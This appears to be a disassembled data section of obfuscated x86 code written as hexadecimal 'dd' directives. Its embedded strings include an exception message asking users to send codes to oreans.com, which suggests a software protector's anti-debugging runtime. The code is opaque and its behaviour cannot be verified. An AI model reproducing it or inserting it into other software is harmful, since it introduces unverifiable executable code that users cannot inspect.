		dd 43000000h, 0A997C353h, 7A6A53A0h, 0D01A9835h, 0FA5FB5FFh
		dd 0BA66061Dh, 95FF40B2h, 61B2F85h, 858B2FB2h, 61B1789h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 55C35141h
		dd 0FE9E87Bh, 90000000h, 65194A15h, 9A8B2D48h, 867350B0h
		dd 0F7E9345Fh, 81000005h, 124374CAh, 14B58D0Bh,	81061DF2h
		dd 0EBE0B1C7h, 7C858D7Dh, 8B061D9Fh, 1B00B195h,	6AD0FF06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0A6D1C355h, 6AF861A9h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0E4FF84C8h
		dd 1465FD33h, 0AE9h, 5D8C5B00h,	0DEF3D29Ah, 0FFAE907Dh
		dd 1B2FBD95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0DBD7CA15h, 22E07A47h, 9D0956F5h
		dd 61B174Dh, 0F38BF55Ah, 9480BFF5h, 858D22D8h, 61D9F7Ch
		dd 28DA8166h, 0E8D0FF17h, 12h, 0C13D989Eh, 960EEB07h, 0AF98D0A6h
		dd 0E3C101E9h, 8166B80Dh, 5A6CF1DFh, 8C0F006Ah,	5, 78BFDFBAh
		dd 0BD95FF14h, 29061B2Fh, 1B17F185h, 0E9C08B06h, 7, 0B5C3E4CFh
		dd 8A7D7CB9h, 0D1BD83F5h, 61B23h, 0BD830975h, 61B3129h
		dd 50197400h, 0B8C08B53h, 7D9h,	2DA18589h, 9D8D061Bh, 61DA64Dh
		dd 585BD3FFh, 3129BD83h, 7400061Bh, 0B8535017h,	7D9h, 2DA18589h
		dd 9D8D061Bh, 61DA33Ch,	585BD3FFh, 0C08BD18Bh, 2DB58531h
		dd 350061Bh, 1B1E9DBDh,	0E9D88B06h, 0Ah, 6D30AFE9h, 874EE59Ch
		dd 8D532EDCh, 1B30759Dh, 89038B06h, 50438B03h, 8D504389h
		dd 1DF9F89Dh, 89038B06h, 958B5B03h, 61B1BBDh, 0BF006AF5h
		dd 68B50CC8h, 0F9F8858Dh, 880F061Dh, 2,	0BCB2D78Bh, 0F9B1BA50h
		dd 606A24A8h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	0CC35646h, 9C9BE62Ah, 8DD68B66h, 1B307585h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 1E12F53Ah, 9D297A81h, 61B2BC1h, 8B006A50h, 1B229DBDh
		dd 1006A06h, 1B0A7595h,	6879B506h, 1800h, 53FFBF0Fh, 29398D89h
		dd 95FF061Bh, 61B3025h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 20C35747h, 7E6A2F5Ah,	0ADD8D8Bh, 95FF061Bh
		dd 61B1A09h, 0FFC8B70Fh, 1DFA5FB5h, 59850906h, 0FF061B03h
		dd 1B2F8595h, 8E906h, 4ADC0000h, 0A675415Ah, 60564EB5h
		dd 23D6BF0Fh, 1B2E71BDh, 8D596106h, 1B307585h, 18D8B06h
		dd 8B061B2Eh, 6A1840h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0C88B85C3h, 6D85C7h, 61Bh, 0BA530000h
		dd 5DFD7214h, 35BD835Ah, 61B22h, 16840Fh, 8C3D0000h, 0F000000h
		dd 24883h, 0FB8B6600h, 19E9h, 0CA8B6600h, 963Dh, 32830F00h
		dd 0F000002h, 584h, 0C886BA00h,	858D074Eh, 5AF59Fh, 6AD0FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0DC43BCC3h, 8B01F18Ah, 0F2858DCEh, 60005AEFh, 20E1BD2Bh
		dd 9D8B061Bh, 61B2149h,	6AD0FF61h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 261C350h
		dd 59FE23B9h, 0A6509D0Ah, 11E8h, 4B967D00h, 0DF82C94Dh
		dd 59EE4D2Eh, 0C5152DDAh, 0AE98451h, 8B000000h,	1B400C2h
		dd 559EE0E6h, 0BF0F5991h, 8BDDB2D3h, 80F88BC0h,	0BD83DDC1h
		dd 61B23D1h, 83097500h,	1B3129BDh, 19740006h, 0C08B5350h
		dd 0BC6B8h, 0A1858900h,	8D061B2Dh, 1DA64D9Dh, 5BD3FF06h
		dd 29BD8358h, 61B31h, 53501774h, 0BC6B8h, 0A1858900h, 8D061B2Dh
		dd 1DA33C9Dh, 5BD3FF06h, 0CD8D2958h, 8B061B23h,	16810FFBh
		dd 0E8000000h, 0Eh, 56168C9Eh, 93A20957h, 15ECE685h, 0FA8B4E8Eh
		dd 6AC08B5Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 411BC352h, 56D4EAA4h, 0BD897EB5h
		dd 61B2E65h, 16BD958Bh,	810F061Bh, 2, 0F883D48Ah, 89850FFFh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 7BE4C350h, 100C8AB9h, 46F28166h
		dd 0B18531AEh, 0C7061B1Eh, 1B00BD85h, 6, 13E800h, 0EF510000h
		dd 0E5D48F01h, 28FE1076h, 37F18811h, 3C8C0C46h,	0E959F97Fh
		dd 116h, 7FE9h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0FDBE24BEh, 5FF2C2h, 20DBD89h
		dd 8D0B061Bh, 61B1BF5h,	0F01F883h, 4785h, 0FB8B6600h, 119E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 81F0E038h, 203B7554h, 8E860h, 44550000h
		dd 47F39113h, 8A0F7D82h, 0
		dd 0E99D895Eh, 61061B29h, 0FFF217E9h, 66C08BFFh, 19FCE181h
		dd 23D1BD83h, 7500061Bh, 29BD8309h, 61B31h, 53501974h
		dd 0DDB8C08Bh, 89000007h, 1B2DA185h, 4D9D8D06h,	0FF061DA6h
		dd 83585BD3h, 1B3129BDh, 17740006h, 0DDB85350h,	89000007h
		dd 1B2DA185h, 3C9D8D06h, 0FF061DA3h, 8B585BD3h,	8BD38BFBh
		dd 3840FC0h, 0F000000h,	55E9D1B7h, 6A000002h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 9B76C353h, 0D38B664Ch, 1CF59D09h, 858D061Bh,	61DF7FCh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0ABC35545h
		dd 49BD8950h, 5A061B1Ah, 8EE18166h, 0F485893Fh,	8B061DF9h
		dd 0B19531D3h, 0E9061B2Fh, 40h,	1B6D9D89h, 858D061Bh, 61DF604h
		dd 0CAB70F40h, 1845BD89h, 8589061Bh, 61DF9F4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5C35646h, 68633CF0h
		dd 0F08A1DF7h, 858D346Ah, 61B1BF9h, 0F4B5FF50h,	6A061DF9h
		dd 7995FF00h, 83061B2Fh, 840F07F8h, 162h, 0F6DB8C66h, 850F04C3h
		dd 0FCh, 239D85C6h, 6856061Bh, 9CA8B852h, 2BF9B5FFh, 858D061Bh
		dd 61B391Fh, 46AD0FFh, 100068h,	6A646A00h, 89D0FF00h, 1DFA6785h
		dd 9D85C606h, 47061B23h, 18AC9B68h, 0F9B5FFECh,	8D061B2Bh
		dd 1B391F85h, 0FFD0FF06h, 0C6F08BD0h, 1B239D85h, 61684F06h
		dd 0FFC62F26h, 1B2DB9B5h, 1F858D06h, 0FF061B39h, 639D8DD0h
		dd 53061DFAh, 0FF56286Ah, 75C085D0h, 9D85C600h,	41061B23h
		dd 87649868h, 0B9B5FFDBh, 8D061B2Dh, 1B391F85h,	89D0FF06h
		dd 1DFA8085h, 9D85C606h, 4C061B23h, 0A4E7A468h,	0B9B5FF80h
		dd 8D061B2Dh, 1B391F85h, 8BD0FF06h, 1DFA679Dh, 45B8D06h
		dd 6C9D8D53h, 53061DFAh, 0D0FF006Ah, 0FA679D8Bh, 3C7061Dh
		dd 1, 20C43C7h,	0C7000000h, 1B08E985h, 6, 6A006A00h, 8B006A00h
		dd 1DFA679Dh, 6A5306h, 0FA63B5FFh, 95FF061Dh, 61DFA80h
		dd 239D85C6h, 6845061Bh, 92A5F797h, 29B5B5FFh, 858D061Bh
		dd 61B391Fh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h
		dd 0FA679D8Bh, 43C7061Dh, 0Ch, 6A006A00h, 679D8B00h, 53061DFAh
		dd 0B5FF006Ah, 61DFA63h, 0FA8095FFh, 0B5FF061Dh, 61DFA63h
		dd 1A0995FFh, 6A061Bh, 2FBD95FFh, 9D89061Bh, 61B1111h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E9C35141h
		dd 2DBD858Dh, 0AE9061Eh, 0A0000000h, 640012CFh,	505DB220h
		dd 6A50E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 48A4AFC3h, 14E8F2h, 5D2E0000h, 0BDB0FD34h
		dd 1D76A83Bh, 0DD8906D3h, 0EA838A46h, 0F88BDE59h, 64CB8A59h
		dd 35FFh, 0CABA0000h, 64006886h, 2589h,	8B660000h, 35BD83FEh
		dd 61B13h, 4C840Fh, 8B660000h, 0D5BD83D6h, 1061B1Ch, 3C850Fh
		dd 840F0000h, 0Eh, 0A5BD8B60h, 89061B0Ah, 1B1C7D8Dh, 0BD806106h
		dd 61DFE80h, 1B850F00h,	0B9000000h, 5DC1850Ah, 24098D23h
		dd 7CE9061Bh, 0F000001h, 583h, 89BEB900h, 0DB3302E6h, 33F8BF0Fh
		dd 0B70F56C0h, 8D895FD7h, 61B18E1h, 73F0F40h, 58F640Bh
		dd 0
		dd 6A04C483h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 4562C356h, 0F49D46F6h,	0BD0B8FE7h
		dd 61B0055h, 1EFD8D0Bh,	0B966061Bh, 0FB839E8Fh,	18840FFFh
		dd 66000000h, 2DEBD981h, 100E9h, 8D896000h, 61B1911h, 16C59D89h
		dd 0E961061Bh, 8Bh, 860Fh, 4C8B0000h, 81C70C24h, 0A4h
		dd 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h, 0E8550C24h
		dd 0
		dd 0DFED815Dh, 8B061E2Dh, 0B883h, 0AE858D00h, 89061E2Eh
		dd 0B883h, 0C0335D00h, 0FE9C3h,	609B0000h, 3B64696Ah, 30D21911h
		dd 93077956h, 0F18D2398h, 6A061B32h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0A440C356h
		dd 0E3C52FFBh, 507EAE71h, 0E099D89h, 8D59061Bh,	1E2DD585h
		dd 50FDB206h, 3818509h,	8E8061Bh, 0C3000000h, 1CD14BBAh
		dd 8BEC9CFEh, 1B0BC18Dh, 0FF645F06h, 35h, 8589F800h, 61B2A19h
		dd 258964h, 8B000000h, 0AB9F8h,	4B80000h, 54855D7h, 0DF78164h
		dd 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh
		dd 75564D58h, 0A585C70Ah, 1061B1Eh, 64000000h, 58Fh, 0C4830000h
		dd 9E904h, 43980000h, 0AD0D7618h, 6A7314F0h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 72D3C351h, 399DEB7h,	8D09C08Bh, 61B333Dh, 83DAC980h
		dd 1B23D1BDh, 9750006h,	3129BD83h, 7400061Bh, 8B535019h
		dd 43DB8C0h, 85890000h,	61B2131h, 0A6B49D8Dh, 0D3FF061Dh
		dd 0BD83585Bh, 61B3129h, 50177400h, 43DB853h, 85890000h
		dd 61B2131h, 0A3559D8Dh, 0D3FF061Dh, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0F535CC3h
		dd 589h, 296DBF00h, 3359647Bh, 1B0D35BDh, 0E9C08B06h, 13Ah
		dd 4, 35382E31h, 35h, 6	dup(0)
		dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h
		dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h
		dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h
		dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h
		dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h
		dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h
		dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh
		dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh
		dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh
		dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh
		dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h
		dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh
		dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh
		dd 61B12FDh, 2D840F00h,	8D000001h, 1DA16C85h, 858D5006h
		dd 61DA0D6h, 16850h, 95FF8000h,	61DA17Ch, 2F73858Dh, 8D50061Eh
		dd 1E2F7D85h, 6A5006h, 858D006Ah, 61DA0EAh, 6CB5FF50h
		dd 0FF061DA1h, 1B2EF195h, 73858D06h, 50061E2Fh,	2F81858Dh
		dd 6A50061Eh, 8D006A00h, 1DA0FC85h, 0B5FF5006h,	61DA16Ch
		dd 2EF195FFh, 858D061Bh, 61E2F73h, 8D858D50h, 50061E2Fh
		dd 6A006Ah, 0A149858Dh,	0FF50061Dh, 1DA16CB5h, 0F195FF06h
		dd 8D061B2Eh, 1E2F7385h, 858D5006h, 61E2F95h, 6A006A50h
		dd 67858D00h, 50061DA1h, 0A16CB5FFh, 95FF061Dh,	61B2EF1h
		dd 2F73858Dh, 8D50061Eh, 1E2F9185h, 6A5006h, 858D006Ah
		dd 61DA150h, 6CB5FF50h,	0FF061DA1h, 1B2EF195h, 73858D06h
		dd 50061E2Fh, 2F85858Dh, 6A50061Eh, 8D006A00h, 1DA15885h
		dd 0B5FF5006h, 61DA16Ch, 2EF195FFh, 858D061Bh, 61E2F73h
		dd 89858D50h, 50061E2Fh, 6A006Ah, 0A15F858Dh, 0FF50061Dh
		dd 1DA16CB5h, 0F195FF06h, 0FF061B2Eh, 1DA16CB5h, 9195FF06h
		dd 0E9061B1Dh, 0A2h, 0FDBD83h, 0F00061Bh, 9584h, 0D5BD8300h
		dd 61B1Ch, 11850Fh, 958B0000h, 61B22B1h, 1CF8C281h, 0FE90000h
		dd 8D000000h, 1B307595h, 34528B06h, 0C340C281h,	95893BD4h
		dd 61B1E99h, 1E99BD83h,	0F00061Bh, 5584h, 999D8B00h, 83061B1Eh
		dd 38B4CC3h, 2F7D8589h,	9D8B061Eh, 61B1E99h, 8B50C383h
		dd 81858903h, 8B061E2Fh, 1B1E999Dh, 54C38306h, 8589038Bh
		dd 61E2F8Dh, 1E999D8Bh,	0C383061Bh, 89038B58h, 1E2F9185h
		dd 999D8B06h, 83061B1Eh, 38B5CC3h, 2F858589h, 0BD83061Eh
		dd 61B12FDh, 0D850F00h,	83000000h, 1B00FDBDh, 840F0006h
		dd 68h,	2F95B5FFh, 0B5FF061Eh, 61E2F89h, 2F85B5FFh, 0B5FF061Eh
		dd 61E2F91h, 2F8DB5FFh,	0B5FF061Eh, 61E2F81h, 2F7DB5FFh
		dd 858D061Eh, 61E2F77h,	0AF858D50h, 50061E2Fh, 145D858Dh
		dd 0FF50061Bh, 1B2D7195h, 24C48306h, 858D406Ah,	61E2F99h
		dd 5D858D50h, 50061B14h, 95FF006Ah, 61B2F79h, 95FF016Ah
		dd 61B2FBDh, 6A60C18Bh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 16D4C353h, 8B9561CEh
		dd 0F78B66C0h, 23D1BD83h, 7500061Bh, 29BD8309h,	61B31h
		dd 53501974h, 0EB8C08Bh, 89000004h, 1B2DA185h, 4D9D8D06h
		dd 0FF061DA6h, 83585BD3h, 1B3129BDh, 17740006h,	0EB85350h
		dd 89000004h, 1B2DA185h, 3C9D8D06h, 0FF061DA3h,	0BA585BD3h
		dd 25472D93h, 0A4F9BE66h, 0C08BD18Bh, 35BD83F8h, 61B13h
		dd 40840Fh, 11E90000h, 3D000000h, 0CF5E938Dh, 0BE071E60h
		dd 67B9CEFEh, 0E697DECDh, 0D0E9C88Bh, 6A000002h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0A398C352h, 2FFCBEFDh, 0DF8C0C5Fh, 7E9h, 8ED51200h
		dd 1676430Eh, 4C7F766h,	94850F00h, 0F000002h, 198Fh, 81666000h
		dd 0E85A81C9h, 0Ch, 0EBC3322Ch,	58D5CC7Ah, 0A090F23h, 6660615Bh
		dd 9E4CF081h, 18D0Fh, 61F90000h, 6AFF2Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 81D47BC3h
		dd 81665150h, 599179E6h, 362A9D8Dh, 6A061Eh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1DD76CC3h
		dd 5093888Ah, 0EB53F2BEh, 60505A72h, 13E8h, 0F69C4800h
		dd 0A243DA4Fh, 3EFBB595h, 1C57533Bh, 5AF4EAC4h,	0B59C9BBh
		dd 93615F35h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	99C35040h, 6A3016AEh, 0B9665699h, 645A160Fh, 35FFh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0CB5FE3C3h, 0DE855h, 0ACCA0000h, 73F31D56h
		dd 71F6363Bh, 0E931C0EBh, 5, 5CA552FAh,	0EE95E1Ah, 0B3000000h
		dd 5D6D2316h, 0A04D0071h, 0C1CBBB17h, 25896405h, 0
		dd 6E9h, 4961BA00h, 8B24C83Dh, 9BB966C4h, 0EB01CD5Ah, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 86EB1F2Bh, 0E9CF8B66h, 7, 0E5690D7Ah, 6A657289h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0CB66C352h, 36EEC0C2h, 0D68B66E3h, 58F64h, 81000000h
		dd 75FA5BC1h, 4C4832Eh,	50C98166h, 0FC00B64h, 0E684h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F98FF292h, 2840F61h, 8B000000h, 4BD8DCEh, 66061B71h
		dd 0A9B7F281h, 1B8h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 70FD7444h, 0DCD18B12h
		dd 0E7FFF5B0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	89C35242h, 0FC3B3F4h, 681h, 0F8D98100h,	575C5B37h
		dd 10245C8Bh, 0B8838Bh,	0B60F0000h, 0C8FE0140h,	0B08389h
		dd 83830000h, 0B8h, 0C0335F02h,	56006AC3h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 72FA1032h
		dd 0F2C6C4F8h, 8B66089Bh, 0D4B360D1h, 68F0Fh, 0E1810000h
		dd 0F378A55h, 61D38B61h, 8BF08B66h, 28C0FC0h, 8A000000h
		dd 0D1BD83EFh, 61B23h, 0BD830975h, 61B3129h, 50197400h
		dd 0B8C08B53h, 40Eh, 21318589h,	9D8D061Bh, 61DA6B4h, 585BD3FFh
		dd 3129BD83h, 7400061Bh, 0B8535017h, 40Eh, 21318589h, 9D8D061Bh
		dd 61DA355h, 585BD3FFh,	0F5E6F681h, 0BE662F0Bh,	0C08B002Dh
		dd 0C28BCC8Ah, 10E8h, 3A22AF00h, 496C0CA6h, 1CA51252h
		dd 0E6D7A72h, 8E8A0h, 9B290000h, 8C8BBFD9h, 816031EDh
		dd 8DFC0ED3h, 870F2Dh, 61000000h, 0C3815B58h, 6C96h, 0B9FBBF0Fh
		dd 0
		dd 9EE88166h, 0B148B5Bh, 0D0DE8166h, 0FDF2812Eh, 812FD1C0h
		dd 98E8F8C2h, 0F0BF0F67h, 0D8F9C281h, 830F4EEDh, 10h, 0BE9h
		dd 0EF649D00h, 34AB4C9Ah, 9E1FF8F3h, 0E90B1489h, 0Dh, 66A88B6Bh
		dd 23A428BBh, 0AEA0AE7Bh, 0C78166BFh, 0E983945Bh, 8B0F04h
		dd 81000000h, 0FF943CF9h, 19850FFFh, 0E9000000h, 2Fh, 0F2B6AE79h
		dd 0F4E05C2Bh, 3A6DBD8h, 9AA26631h, 796646C1h, 7E85B866h
		dd 0FFFF7CE9h, 0D72894FFh, 0A530D729h, 9FB70972h, 14D235D4h
		dd 0EBCE6615h, 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 0F3ED815Dh, 61061E37h, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 382BB58Bh, 0E681061Eh, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 382FB53Bh, 860F061Eh
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	1B1E9985h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 240D95FFh,	0F50061Bh, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	1B1E9985h, 0C606h, 2404FF58h, 0E90004C2h
		dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh
		dd 99858B00h, 86061B1Eh, 0FDB0A18h, 0FFFFF685h,	0F585C7FFh
		dd 61B06h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h
		dd 0E9188918h, 0Ah, 6F585C7h, 100061Bh,	5B580000h, 0C32404FFh
		dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h
		dd 1B101B0h, 13E9h, 0C88AAC00h,	0C332C302h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC90Ah, 0FFFFFFE5h, 850FD20Bh
		dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh
		dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h
		dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h
		dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h
		dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh
		dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh
		dd 0D88C66C3h, 840F04A8h, 29h, 37D085C7h, 1061Eh, 0F500000h
		dd 0FE244C01h, 37D4858Fh, 858D061Eh, 61E37CCh, 37D4BD8Dh
		dd 3889061Eh, 23E9h, 75858D00h,	8B061B30h, 17053840h, 899B46F3h
		dd 1E37CC85h, 75858D06h, 8B061B30h, 85893C40h, 61E37D0h
		dd 37E9858Dh, 8589061Eh, 61B240Dh, 87E9h, 0D48B5200h, 8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 3A5C858Dh, 8589061Eh, 61B0D75h, 3A84858Dh, 8589061Eh
		dd 61B2B15h, 3AAC858Dh,	8589061Eh, 61B2B29h, 8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 61B1CD5h, 891F858Dh,	88B061Eh, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 3B0D8D89h, 0BD83061Eh, 61B2235h,	0F840F00h
		dd 60000000h, 95FF006Ah, 61B2205h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 985895Ah, 8B061E3Bh
		dd 1E3B0DB5h, 10CEC106h, 2728966h, 3B0DB58Bh, 8966061Eh
		dd 8B61FC72h, 1E3B0985h, 958DC306h, 61B1F5Dh, 1E999589h
		dd 9589061Bh, 61B3031h,	303185FFh, 85C6061Bh, 61B239Dh
		dd 48D86853h, 0B5FFFCB1h, 61B2BF9h, 391F858Dh, 0D0FF061Bh
		dd 22058589h, 858D061Bh, 61E3803h, 11A58589h, 20EB061Bh
		dd 8 dup(0)
		dd 5A2E9h, 596E900h, 0C0680000h, 0E9061E3Dh, 0FFFD421Ch
		dd 1E3E5A68h, 4212E906h, 0C68FFFDh, 0E9061E40h,	0FFFD4208h
		dd 1E409768h, 41FEE906h, 2F2FFFDh, 4333C867h, 4EE05A4h
		dd 4625BA5Dh, 0FAF70CABh, 0B91B453h, 6504ABC6h,	20BF628Eh
		dd 6C0BAACBh, 12B55897h, 5F9E25A0h, 3238D641h, 0D4008C39h
		dd 0F365BCC9h, 8A314821h, 0DF1B60E6h, 2BA69F38h, 0C87D55A4h
		dd 0FA9E2C3Eh, 0C87DA035h, 96945EBEh, 9936B45Bh, 0FA79195Ah
		dd 0BEC87DE3h, 0ED8A087Eh, 0C3A15F7h, 9D229F26h, 0BEC87D5Ch
		dd 8C333E33h, 0B1C06A0Eh, 84BD1147h, 1F4782h, 6BBB0000h
		dd 3EC87D91h, 3EE50CE3h, 1305A9A1h, 0FB78FBCEh,	0C4E9A1F3h
		dd 8B3BDE6Ch, 30h, 7D966B05h, 2EB33EC8h, 0A37A2B44h, 169CD1BAh
		dd 4BFF981Ah, 0F4CB46CDh, 76815AF9h, 70103AD3h,	0E98303EBh
		dd 4BEE5CC4h, 9C3F3906h, 0A1A74703h, 9F38DF1Bh,	0C41422A6h
		dd 5A215C94h, 0A46D71B6h, 0FAA4BEC8h, 0A08F277h, 47AC49F0h
		dd 62E88528h, 7ABF62E0h, 8727CAA5h, 0F1744B95h,	69DAFD6Bh
		dd 0B6C17F5Ah, 21059513h, 41818931h, 57DC5FFFh,	0BEC8B282h
		dd 17EC6FD5h, 0B29835D8h, 9255A42Bh, 9E2CBEC8h,	0A5D221FAh
		dd 0D57593F4h, 35701508h, 98B83B7Ah, 0CB6EEC6Eh, 44C70257h
		dd 0F58311BFh, 0BA42244h, 2DD9A538h, 0F3926347h, 0BC5F995Ah
		dd 6A5D023h, 0A9D79A44h, 208AE5BFh, 7C6A59A8h, 6D224F24h
		dd 0A89B17D3h, 39C1EF3h, 652EA747h, 94000000h, 0AECBA73Eh
		dd 0AA28C3B0h, 311EA528h, 0C4C4E9A0h, 7F0BF46h,	412EC564h
		dd 4C25CA9Eh, 8E1F49E3h, 30F4Ch, 7E195B00h, 4BEA04DBh
		dd 741B57ACh, 52EDFED5h, 7A2158AFh, 617072D7h, 0B94EF198h
		dd 667D1CBFh, 0B249E887h, 4B7F22C5h, 40B24BC8h,	0DCCD38D6h
		dd 2DA0266h, 0CD5B0000h, 9756DEDh, 59DF7FC9h, 18E1DF1Bh
		dd 0F476D471h, 7D15E85Bh, 1E633EC8h, 683EC87Dh,	3EC87D90h
		dd 38DF1BE8h, 460BAB9Fh, 3EC87DB3h, 0C87D38BDh,	7DB3463Eh
		dd 0F0BF7EC8h, 7CCE6706h, 36932ADCh, 6DDF30AFh,	5D5284F6h
		dd 0D572F093h, 46CDFC41h, 1741D3C9h, 0ADE6CFDh,	83C46F6Bh
		dd 7522B855h, 0C1000002h, 627918B3h, 7D52F594h,	0D42BCE75h
		dd 865DFC97h, 4025C46Bh, 933A379Ah, 6E11DFF4h, 9A3934CBh
		dd 7417E0F7h, 0DD62E1D5h, 38D6431Ch, 1BC87A73h,	7A9C39DCh
		dd 0E25FE6E3h, 0AE32E30Dh, 5E4536E9h, 0AC9E37B9h, 7B9B470Ch
		dd 2E9CC4E9h, 0D77E748Bh, 0D9D7A338h, 0E466FF9Ah, 2759DF66h
		dd 68518F4Ah, 9A63E063h, 0F5C72ABDh, 0C056EF8Fh, 46CD5079h
		dd 3D0B6192h, 0B8AEC8A5h, 0C38720BBh, 20A2A845h, 0F927BA81h
		dd 0BD04CD0Ch, 0DA0A890Ch, 65372D25h, 0F74F6FD1h, 22A0E3EEh
